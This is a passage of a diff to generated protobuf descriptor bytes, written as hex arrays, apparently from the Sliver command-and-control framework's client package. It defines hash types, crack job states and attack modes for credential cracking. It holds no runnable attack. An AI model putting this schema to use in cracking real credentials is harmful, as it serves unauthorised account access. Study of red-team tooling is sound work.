0x5f, 0x53, 0x41, 0x4c, 0x54, 0x10, 0xd8, 0x1d, 0x12, 0x14, 0x0a, 0x0f, 0x4d, 0x44, 0x35, - 0x5f, 0x53, 0x41, 0x4c, 0x54, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x50, 0x57, 0x10, 0xfe, 0x1c, 0x12, - 0x0a, 0x0a, 0x05, 0x43, 0x52, 0x43, 0x33, 0x32, 0x10, 0xec, 0x59, 0x12, 0x0c, 0x0a, 0x06, 0x43, - 0x52, 0x43, 0x33, 0x32, 0x43, 0x10, 0xfc, 0xd9, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x43, 0x52, 0x43, - 0x36, 0x34, 0x4a, 0x6f, 0x6e, 0x65, 0x73, 0x10, 0xe0, 0xda, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x4a, - 0x41, 0x56, 0x41, 0x5f, 0x4f, 0x42, 0x4a, 0x45, 0x43, 0x54, 0x10, 0x8c, 0x92, 0x01, 0x12, 0x0c, - 0x0a, 0x06, 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x10, 0xe4, 0xc8, 0x01, 0x12, 0x0d, 0x0a, 0x07, - 0x4d, 0x55, 0x52, 0x4d, 0x55, 0x52, 0x33, 0x10, 0x98, 0xd9, 0x01, 0x12, 0x0e, 0x0a, 0x09, 0x54, - 0x48, 0x52, 0x45, 0x45, 0x5f, 0x44, 0x45, 0x53, 0x10, 0x94, 0x6e, 0x12, 0x08, 0x0a, 0x03, 0x44, - 0x45, 0x53, 0x10, 0xb0, 0x6d, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, 0x31, 0x32, 0x38, - 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa1, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, 0x45, 0x53, 0x5f, - 0x31, 0x39, 0x32, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa2, 0xce, 0x01, 0x12, 0x11, 0x0a, 0x0b, 0x41, - 0x45, 0x53, 0x5f, 0x32, 0x35, 0x36, 0x5f, 0x45, 0x43, 0x42, 0x10, 0xa3, 0xce, 0x01, 0x12, 0x0f, - 0x0a, 0x0a, 0x43, 0x48, 0x41, 0x5f, 0x43, 0x48, 0x41, 0x5f, 0x32, 0x30, 0x10, 0xa8, 0x78, 0x12, - 0x1f, 0x0a, 0x1a, 0x4c, 0x49, 0x4e, 0x55, 0x58, 0x5f, 0x4b, 0x45, 0x52, 0x4e, 0x45, 0x4c, 0x5f, - 0x43, 0x52, 0x59, 0x50, 0x54, 0x4f, 0x5f, 0x41, 0x50, 0x49, 0x5f, 0x32, 0x34, 0x10, 0xa4, 0x71, - 0x12, 0x0c, 0x0a, 0x07, 0x53, 0x4b, 0x49, 0x50, 0x5f, 0x33, 0x32, 0x10, 0xb4, 0x74, 0x12, 0x14, - 0x0a, 0x0f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, - 0x35, 0x10, 0xfc, 0x5c, 0x12, 0x15, 0x0a, 0x10, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, - 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xe0, 0x5d, 0x12, 0x17, 0x0a, 0x12, 0x50, - 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, - 0x36, 0x10, 0x94, 0x55, 0x12, 0x17, 0x0a, 0x12, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x48, - 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xc4, 0x5e, 0x12, 0x0b, 0x0a, - 0x06, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xc4, 0x45, 0x12, 0x0b, 0x0a, 0x06, 0x50, 0x48, - 0x50, 0x41, 0x53, 0x53, 0x10, 0x90, 0x03, 0x12, 0x10, 0x0a, 0x0b, 0x54, 0x41, 0x43, 0x41, 0x43, - 0x53, 0x5f, 0x50, 0x4c, 0x55, 0x53, 0x10, 0xe4, 0x7d, 0x12, 0x0f, 0x0a, 0x0a, 0x53, 0x49, 0x50, - 0x5f, 0x44, 0x49, 0x47, 0x45, 0x53, 0x54, 0x10, 0x88, 0x59, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4b, - 0x45, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xb4, 0x29, 0x12, 0x0d, 0x0a, 0x08, 0x49, 0x4b, 0x45, 0x5f, - 0x53, 0x48, 0x41, 0x31, 0x10, 0x98, 0x2a, 0x12, 0x19, 0x0a, 0x13, 0x53, 0x4e, 0x4d, 0x50, 0x5f, - 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x10, 0x8c, - 0xc4, 0x01, 0x12, 0x22, 0x0a, 0x1c, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, - 0x41, 0x43, 0x5f, 0x4d, 0x44, 0x35, 0x5f, 0x39, 0x36, 0x5f, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, - 0x39, 0x36, 0x10, 0xa8, 0xc3, 0x01, 0x12, 0x1a, 0x0a, 0x14, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, - 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x5f, 0x39, 0x36, 0x10, 0xf0, - 0xc4, 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, - 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x32, 0x34, 0x5f, 0x31, 0x32, 0x38, 0x10, 0xcc, 0xd0, - 0x01, 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, - 0x43, 0x5f, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x5f, 0x31, 0x39, 0x32, 0x10, 0xb0, 0xd1, 0x01, - 0x12, 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, - 0x5f, 0x53, 0x48, 0x41, 0x33, 0x38, 0x34, 0x5f, 0x32, 0x35, 0x36, 0x10, 0x94, 0xd2, 0x01, 0x12, - 0x1d, 0x0a, 0x17, 0x53, 0x4e, 0x4d, 0x50, 0x5f, 0x56, 0x33, 0x5f, 0x48, 0x4d, 0x41, 0x43, 0x5f, - 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, 0x33, 0x38, 0x34, 0x10, 0xa4, 0xd5, 0x01, 0x12, 0x15, - 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x5f, 0x50, 0x42, 0x4b, 0x44, - 0x46, 0x32, 0x10, 0xc4, 0x13, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x50, 0x41, 0x5f, 0x45, 0x41, 0x50, - 0x4f, 0x4c, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xc5, 0x13, 0x12, 0x1c, 0x0a, 0x16, 0x57, 0x50, 0x41, - 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, - 0x50, 0x4f, 0x4c, 0x10, 0xf0, 0xab, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x57, 0x50, 0x41, 0x5f, 0x50, - 0x4d, 0x4b, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x45, 0x41, 0x50, 0x4f, 0x4c, 0x10, 0xf1, - 0xab, 0x01, 0x12, 0x16, 0x0a, 0x10, 0x57, 0x50, 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, - 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x10, 0xa0, 0x83, 0x01, 0x12, 0x13, 0x0a, 0x0d, 0x57, 0x50, - 0x41, 0x5f, 0x50, 0x4d, 0x4b, 0x49, 0x44, 0x5f, 0x50, 0x4d, 0x4b, 0x10, 0xa1, 0x83, 0x01, 0x12, - 0x19, 0x0a, 0x14, 0x49, 0x50, 0x4d, 0x49, 0x32, 0x5f, 0x50, 0x41, 0x4b, 0x50, 0x5f, 0x48, 0x4d, - 0x41, 0x43, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0x84, 0x39, 0x12, 0x0d, 0x0a, 0x08, 0x43, 0x52, - 0x41, 0x4d, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xd8, 0x4f, 0x12, 0x09, 0x0a, 0x03, 0x4a, 0x57, 0x54, - 0x10, 0xf4, 0x80, 0x01, 0x12, 0x0e, 0x0a, 0x08, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, 0x5f, 0x33, - 0x10, 0x90, 0xe4, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, - 0x5f, 0x31, 0x37, 0x5f, 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x90, 0x99, 0x01, 0x12, - 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x50, - 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xd8, 0x9a, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, - 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x37, 0x5f, 0x44, 0x42, 0x10, 0x80, 0xe1, 0x01, - 0x12, 0x19, 0x0a, 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, - 0x54, 0x47, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0xf4, 0x99, 0x01, 0x12, 0x19, 0x0a, 0x13, 0x4b, - 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, - 0x54, 0x48, 0x10, 0xbc, 0x9b, 0x01, 0x12, 0x14, 0x0a, 0x0e, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, - 0x4f, 0x53, 0x5f, 0x31, 0x38, 0x5f, 0x44, 0x42, 0x10, 0xe4, 0xe1, 0x01, 0x12, 0x1f, 0x0a, 0x1a, - 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x53, 0x41, 0x5f, 0x52, - 0x45, 0x51, 0x5f, 0x50, 0x52, 0x45, 0x41, 0x55, 0x54, 0x48, 0x10, 0xcc, 0x3a, 0x12, 0x18, 0x0a, - 0x13, 0x4b, 0x45, 0x52, 0x42, 0x45, 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x54, 0x47, 0x53, - 0x5f, 0x52, 0x45, 0x50, 0x10, 0xac, 0x66, 0x12, 0x18, 0x0a, 0x12, 0x4b, 0x45, 0x52, 0x42, 0x45, - 0x52, 0x4f, 0x53, 0x5f, 0x32, 0x33, 0x5f, 0x41, 0x53, 0x5f, 0x52, 0x45, 0x50, 0x10, 0x98, 0x8e, - 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x31, - 0x10, 0xfc, 0x2a, 0x12, 0x14, 0x0a, 0x0e, 0x4e, 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, - 0x56, 0x31, 0x5f, 0x4e, 0x54, 0x10, 0xf8, 0xd2, 0x01, 0x12, 0x10, 0x0a, 0x0b, 0x4e, 0x45, 0x54, - 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x10, 0xe0, 0x2b, 0x12, 0x14, 0x0a, 0x0e, 0x4e, - 0x45, 0x54, 0x5f, 0x4e, 0x54, 0x4c, 0x4d, 0x5f, 0x56, 0x32, 0x5f, 0x4e, 0x54, 0x10, 0xdc, 0xd3, - 0x01, 0x12, 0x0b, 0x0a, 0x05, 0x46, 0x4c, 0x41, 0x53, 0x4b, 0x10, 0xac, 0xe3, 0x01, 0x12, 0x0f, - 0x0a, 0x0a, 0x49, 0x53, 0x43, 0x53, 0x49, 0x5f, 0x43, 0x48, 0x41, 0x50, 0x10, 0xc0, 0x25, 0x12, - 0x09, 0x0a, 0x04, 0x52, 0x41, 0x43, 0x46, 0x10, 0xb4, 0x42, 0x12, 0x0d, 0x0a, 0x08, 0x41, 0x49, - 0x58, 0x5f, 0x53, 0x4d, 0x44, 0x35, 0x10, 0x9c, 0x31, 0x12, 0x0e, 0x0a, 0x09, 0x41, 0x49, 0x58, - 0x5f, 0x53, 0x53, 0x48, 0x41, 0x31, 0x10, 0xac, 0x34, 0x12, 0x10, 0x0a, 0x0b, 0x41, 0x49, 0x58, - 0x5f, 0x53, 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0x80, 0x32, 0x12, 0x10, 0x0a, 0x0b, 0x41, - 0x49, 0x58, 0x5f, 0x53, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xe4, 0x32, 0x12, 0x07, 0x0a, - 0x02, 0x4c, 0x4d, 0x10, 0xb8, 0x17, 0x12, 0x0d, 0x0a, 0x07, 0x51, 0x4e, 0x58, 0x5f, 0x4d, 0x44, - 0x35, 0x10, 0xb8, 0x94, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, 0x48, 0x41, - 0x32, 0x35, 0x36, 0x10, 0x9c, 0x95, 0x01, 0x12, 0x10, 0x0a, 0x0a, 0x51, 0x4e, 0x58, 0x5f, 0x53, - 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0x80, 0x96, 0x01, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, - 0x50, 0x49, 0x5f, 0x56, 0x31, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, - 0x32, 0x10, 0xc4, 0x77, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x31, - 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xce, 0x77, 0x12, 0x19, 0x0a, 0x14, 0x44, 0x50, 0x41, - 0x50, 0x49, 0x5f, 0x56, 0x32, 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x31, 0x5f, 0x41, 0x4e, 0x44, 0x5f, - 0x32, 0x10, 0x9c, 0x7c, 0x12, 0x13, 0x0a, 0x0e, 0x44, 0x50, 0x41, 0x50, 0x49, 0x5f, 0x56, 0x32, - 0x5f, 0x43, 0x54, 0x58, 0x5f, 0x33, 0x10, 0xa6, 0x7c, 0x12, 0x0b, 0x0a, 0x06, 0x47, 0x52, 0x55, - 0x42, 0x5f, 0x32, 0x10, 0xa0, 0x38, 0x12, 0x12, 0x0a, 0x0d, 0x4d, 0x53, 0x5f, 0x41, 0x5a, 0x55, - 0x52, 0x45, 0x5f, 0x53, 0x59, 0x4e, 0x43, 0x10, 0x80, 0x64, 0x12, 0x0f, 0x0a, 0x0a, 0x42, 0x53, - 0x44, 0x49, 0x5f, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xf0, 0x60, 0x12, 0x09, 0x0a, 0x04, 0x4e, - 0x54, 0x4c, 0x4d, 0x10, 0xe8, 0x07, 0x12, 0x0c, 0x0a, 0x07, 0x52, 0x41, 0x44, 0x4d, 0x49, 0x4e, - 0x32, 0x10, 0xac, 0x4d, 0x12, 0x14, 0x0a, 0x0f, 0x53, 0x41, 0x4d, 0x53, 0x55, 0x4e, 0x47, 0x5f, - 0x41, 0x4e, 0x44, 0x52, 0x4f, 0x49, 0x44, 0x10, 0xa8, 0x2d, 0x12, 0x17, 0x0a, 0x11, 0x57, 0x49, - 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x48, 0x45, 0x4c, 0x4c, 0x4f, 0x5f, 0x50, 0x49, 0x4e, 0x10, - 0xc4, 0xdb, 0x01, 0x12, 0x12, 0x0a, 0x0d, 0x57, 0x49, 0x4e, 0x44, 0x4f, 0x57, 0x53, 0x5f, 0x50, - 0x48, 0x4f, 0x4e, 0x45, 0x10, 0xe8, 0x6b, 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, - 0x5f, 0x41, 0x53, 0x41, 0x5f, 0x4d, 0x44, 0x35, 0x10, 0xea, 0x12, 0x12, 0x1c, 0x0a, 0x17, 0x43, - 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x50, 0x42, 0x4b, 0x44, 0x46, 0x32, 0x5f, - 0x53, 0x48, 0x41, 0x32, 0x35, 0x36, 0x10, 0xf0, 0x47, 0x12, 0x15, 0x0a, 0x10, 0x43, 0x49, 0x53, - 0x43, 0x4f, 0x5f, 0x49, 0x4f, 0x53, 0x5f, 0x53, 0x43, 0x52, 0x59, 0x50, 0x54, 0x10, 0xd4, 0x48, - 0x12, 0x12, 0x0a, 0x0d, 0x43, 0x49, 0x53, 0x43, 0x4f, 0x5f, 0x50, 0x49, 0x58, 0x5f, 0x4d, 0x44, - 0x35, 0x10, 0xe0, 0x12, 0x12, 0x1a, 0x0a, 0x15, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, - 0x45, 0x54, 0x53, 0x43, 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x31, 0x10, 0xa4, 0x3f, - 0x12, 0x1d, 0x0a, 0x17, 0x43, 0x49, 0x54, 0x52, 0x49, 0x58, 0x5f, 0x4e, 0x45, 0x54, 0x53, 0x43, - 0x41, 0x4c, 0x45, 0x52, 0x5f, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x10, 0xb8, 0xad, 0x01, 0x12, - 0x08, 0x0a, 0x03, 0x44, 0x43, 0x43, 0x10, 0xcc, 0x08, 0x12, 0x09, 0x0a, 0x04, 0x44, 0x43, 0x43, - 0x32, 0x10, 0xb4, 0x10, 0x12, 0x0f, 0x0a, 0x0a, 0x4d, 0x41, 0x43, 0x4f, 0x53, 0x5f, 0x31, 0x30, - 0x5f, 0x38, 0x10, 0xbc, 0x37, 0x12, 0x0c, 0x0a, 0x07, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, - 0x10, 0x8f, 0x4e, 0x12, 0x10, 0x0a, 0x0b, 0x42, 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, - 0x49, 0x58, 0x10, 0x80, 0x19, 0x12, 0x16, 0x0a, 0x11, 0x53, 0x48, 0x41, 0x35, 0x31, 0x32, 0x5f, - 0x43, 0x52, 0x59, 0x50, 0x54, 0x5f, 0x55, 0x4e, 0x49, 0x58, 0x10, 0x88, 0x0e, 0x2a, 0x32, 0x0a, - 0x06, 0x53, 0x74, 0x61, 0x74, 0x65, 0x73, 0x12, 0x08, 0x0a, 0x04, 0x49, 0x44, 0x4c, 0x45, 0x10, - 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x49, 0x4e, 0x47, 0x10, 0x01, 0x12, - 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x49, 0x54, 0x49, 0x41, 0x4c, 0x49, 0x5a, 0x49, 0x4e, 0x47, 0x10, - 0x02, 0x2a, 0x3c, 0x0a, 0x0e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4a, 0x6f, 0x62, 0x53, 0x74, 0x61, - 0x74, 0x75, 0x73, 0x12, 0x0f, 0x0a, 0x0b, 0x49, 0x4e, 0x5f, 0x50, 0x52, 0x4f, 0x47, 0x52, 0x45, - 0x53, 0x53, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x4f, 0x4d, 0x50, 0x4c, 0x45, 0x54, 0x45, - 0x44, 0x10, 0x01, 0x12, 0x0a, 0x0a, 0x06, 0x46, 0x41, 0x49, 0x4c, 0x45, 0x44, 0x10, 0x02, 0x2a, - 0x94, 0x01, 0x0a, 0x0f, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x41, 0x74, 0x74, 0x61, 0x63, 0x6b, 0x4d, - 0x6f, 0x64, 0x65, 0x12, 0x0c, 0x0a, 0x08, 0x53, 0x54, 0x52, 0x41, 0x49, 0x47, 0x48, 0x54, 0x10, - 0x00, 0x12, 0x0f, 0x0a, 0x0b, 0x43, 0x4f, 0x4d, 0x42, 0x49, 0x4e, 0x41, 0x54, 0x49, 0x4f, 0x4e, - 0x10, 0x01, 0x12, 0x0e, 0x0a, 0x0a, 0x42, 0x52, 0x55, 0x54, 0x45, 0x46, 0x4f, 0x52, 0x43, 0x45, - 0x10, 0x03, 0x12, 0x18, 0x0a, 0x14, 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, - 0x44, 0x4c, 0x49, 0x53, 0x54, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x10, 0x06, 0x12, 0x18, 0x0a, 0x14, - 0x48, 0x59, 0x42, 0x52, 0x49, 0x44, 0x5f, 0x4d, 0x41, 0x53, 0x4b, 0x5f, 0x57, 0x4f, 0x52, 0x44, - 0x4c, 0x49, 0x53, 0x54, 0x10, 0x07, 0x12, 0x0f, 0x0a, 0x0b, 0x41, 0x53, 0x53, 0x4f, 0x43, 0x49, - 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x10, 0x09, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x4f, 0x5f, 0x41, 0x54, - 0x54, 0x41, 0x43, 0x4b, 0x10, 0x0a, 0x2a, 0x44, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x45, - 0x6e, 0x63, 0x6f, 0x64, 0x69, 0x6e, 0x67, 0x12, 0x14, 0x0a, 0x10, 0x49, 0x4e, 0x56, 0x41, 0x4c, - 0x49, 0x44, 0x5f, 0x45, 0x4e, 0x43, 0x4f, 0x44, 0x49, 0x4e, 0x47, 0x10, 0x00, 0x12, 0x0f, 0x0a, - 0x0b, 0x49, 0x53, 0x4f, 0x5f, 0x38, 0x38, 0x35, 0x39, 0x5f, 0x31, 0x35, 0x10, 0x01, 0x12, 0x0c, - 0x0a, 0x08, 0x55, 0x54, 0x46, 0x5f, 0x33, 0x32, 0x4c, 0x45, 0x10, 0x02, 0x2a, 0x90, 0x01, 0x0a, - 0x12, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x4f, 0x75, 0x74, 0x66, 0x69, 0x6c, 0x65, 0x46, 0x6f, 0x72, - 0x6d, 0x61, 0x74, 0x12, 0x12, 0x0a, 0x0e, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, 0x5f, 0x46, - 0x4f, 0x52, 0x4d, 0x41, 0x54, 0x10, 0x00, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x41, 0x53, 0x48, 0x5f, - 0x53, 0x41, 0x4c, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, - 0x02, 0x12, 0x0d, 0x0a, 0x09, 0x48, 0x45, 0x58, 0x5f, 0x50, 0x4c, 0x41, 0x49, 0x4e, 0x10, 0x03, - 0x12, 0x0d, 0x0a, 0x09, 0x43, 0x52, 0x41, 0x43, 0x4b, 0x5f, 0x50, 0x4f, 0x53, 0x10, 0x04, 0x12, - 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x41, 0x42, 0x53, - 0x4f, 0x4c, 0x55, 0x54, 0x45, 0x10, 0x05, 0x12, 0x16, 0x0a, 0x12, 0x54, 0x49, 0x4d, 0x45, 0x53, - 0x54, 0x41, 0x4d, 0x50, 0x5f, 0x52, 0x45, 0x4c, 0x41, 0x54, 0x49, 0x56, 0x45, 0x10, 0x06, 0x2a, - 0x63, 0x0a, 0x14, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x57, 0x6f, 0x72, 0x6b, 0x6c, 0x6f, 0x61, 0x64, - 0x50, 0x72, 0x6f, 0x66, 0x69, 0x6c, 0x65, 0x12, 0x1c, 0x0a, 0x18, 0x49, 0x4e, 0x56, 0x41, 0x4c, - 0x49, 0x44, 0x5f, 0x57, 0x4f, 0x52, 0x4b, 0x4c, 0x4f, 0x41, 0x44, 0x5f, 0x50, 0x52, 0x4f, 0x46, - 0x49, 0x4c, 0x45, 0x10, 0x00, 0x12, 0x07, 0x0a, 0x03, 0x4c, 0x4f, 0x57, 0x10, 0x01, 0x12, 0x0b, - 0x0a, 0x07, 0x44, 0x45, 0x46, 0x41, 0x55, 0x4c, 0x54, 0x10, 0x02, 0x12, 0x08, 0x0a, 0x04, 0x48, - 0x49, 0x47, 0x48, 0x10, 0x03, 0x12, 0x0d, 0x0a, 0x09, 0x4e, 0x49, 0x47, 0x48, 0x54, 0x4d, 0x41, - 0x52, 0x45, 0x10, 0x04, 0x2a, 0x4e, 0x0a, 0x0d, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x46, 0x69, 0x6c, - 0x65, 0x54, 0x79, 0x70, 0x65, 0x12, 0x10, 0x0a, 0x0c, 0x49, 0x4e, 0x56, 0x41, 0x4c, 0x49, 0x44, - 0x5f, 0x54, 0x59, 0x50, 0x45, 0x10, 0x00, 0x12, 0x0c, 0x0a, 0x08, 0x57, 0x4f, 0x52, 0x44, 0x4c, - 0x49, 0x53, 0x54, 0x10, 0x01, 0x12, 0x09, 0x0a, 0x05, 0x52, 0x55, 0x4c, 0x45, 0x53, 0x10, 0x02, - 0x12, 0x12, 0x0a, 0x0e, 0x4d, 0x41, 0x52, 0x4b, 0x4f, 0x56, 0x5f, 0x48, 0x43, 0x53, 0x54, 0x41, - 0x54, 0x32, 0x10, 0x03, 0x42, 0x2f, 0x5a, 0x2d, 0x67, 0x69, 0x74, 0x68, 0x75, 0x62, 0x2e, 0x63, - 0x6f, 0x6d, 0x2f, 0x62, 0x69, 0x73, 0x68, 0x6f, 0x70, 0x66, 0x6f, 0x78, 0x2f, 0x73, 0x6c, 0x69, - 0x76, 0x65, 0x72, 0x2f, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x62, 0x75, 0x66, 0x2f, 0x63, 0x6c, 0x69, - 0x65, 0x6e, 0x74, 0x70, 0x62, 0x62, 0x06, 0x70, 0x72, 0x6f, 0x74, 0x6f, 0x33, + 0x1a, 0x0a, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x18, 0x02, 0x20, 0x01, 0x28, + 0x09, 0x52, 0x08, 0x48, 0x6f, 0x73, 0x74, 0x55, 0x55, 0x49, 0x44, 0x12, 0x1c, 0x0a, 0x09, 0x43, + 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x03, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, + 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x1c, 0x0a, 0x09, 0x53, 0x74, 0x61, + 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x04, 0x20, 0x01, 0x28, 0x03, 0x52, 0x09, 0x53, 0x74, + 0x61, 0x72, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x20, 0x0a, 0x0b, 0x43, 0x6f, 0x6d, 0x70, 0x6c, + 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x18, 0x05, 0x20, 0x01, 0x28, 0x03, 0x52, 0x0b, 0x43, 0x6f, + 0x6d, 0x70, 0x6c, 0x65, 0x74, 0x65, 0x64, 0x41, 0x74, 0x12, 0x10, 0x0a, 0x03, 0x45, 0x72, 0x72, + 0x18, 0x07, 0x20, 0x01, 0x28, 0x09, 0x52, 0x03, 0x45, 0x72, 0x72, 0x12, 0x30, 0x0a, 0x07, 0x43, + 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x18, 0x09, 0x20, 0x01, 0x28, 0x0b, 0x32, 0x16, 0x2e, 0x63, + 0x6c, 0x69, 0x65, 0x6e, 0x74, 0x70, 0x62, 0x2e, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x43, 0x6f, 0x6d, + 0x6d, 0x61, 0x6e, 0x64, 0x52, 0x07, 0x43, 0x6f, 0x6d, 0x6d, 0x61, 0x6e, 0x64, 0x22, 0xed, 0x03, + 0x0a, 0x0c, 0x43, 0x72, 0x61, 0x63, 0x6b, 0x73, 0x74, 0x61, 0x74, 0x69, 0x6f, 0x6e, 0x12, 0x12, + 0x0a, 0x04, 0x4e, 0x61, 0x6d, 0x65, 0x18, 0x01, 0x20, 